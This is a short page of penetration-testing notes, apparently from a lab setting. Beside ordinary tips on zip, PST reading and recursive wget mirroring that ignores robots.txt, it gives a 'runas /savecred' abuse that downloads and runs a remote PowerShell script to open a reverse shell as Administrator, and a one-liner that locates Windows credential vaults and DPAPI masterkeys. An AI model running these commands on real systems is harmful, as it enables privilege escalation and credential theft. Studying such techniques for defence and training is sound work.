Basic tips/scripts

File compressing with exception

1
zip -r files/temp/images.zip * -x "files/*" "*.jpg" "*.png" "*.gif" "*.jpeg" "*.wmv" "*.pdf" "*.wma" "files/imagenes/look*"
Copied!

Open PST files - Linux

1
readpst -tea -m Access\ Control.pst
Copied!

Download everything from a website

1
wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -l 50 -p -E -e robots=off -U mozilla http://xxxxxx
Copied!

Exploiting "runas /savecred"

The following command is used to start a PowerShell reverse shell as ACCESS\Administrator.
1
runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object
2
Net.Webclient).downloadstring('http://10.10.14.2/admin.ps1')"
Copied!

Extract credentials Windows

The following "one-liner" will identify the available credential files and masterkeys.
1
cmd /c " dir /S /AS C:\Users\security\AppData\Local\Microsoft\Vault & dir /S /AS
2
C:\Users\security\AppData\Local\Microsoft\Credentials & dir /S /AS
3
C:\Users\security\AppData\Local\Microsoft\Protect & dir /S /AS
4
C:\Users\security\AppData\Roaming\Microsoft\Vault & dir /S /AS
5
C:\Users\security\AppData\Roaming\Microsoft\Credentials & dir /S /AS
6
C:\Users\security\AppData\Roaming\Microsoft\Protect"
Copied!
Last modified 11mo ago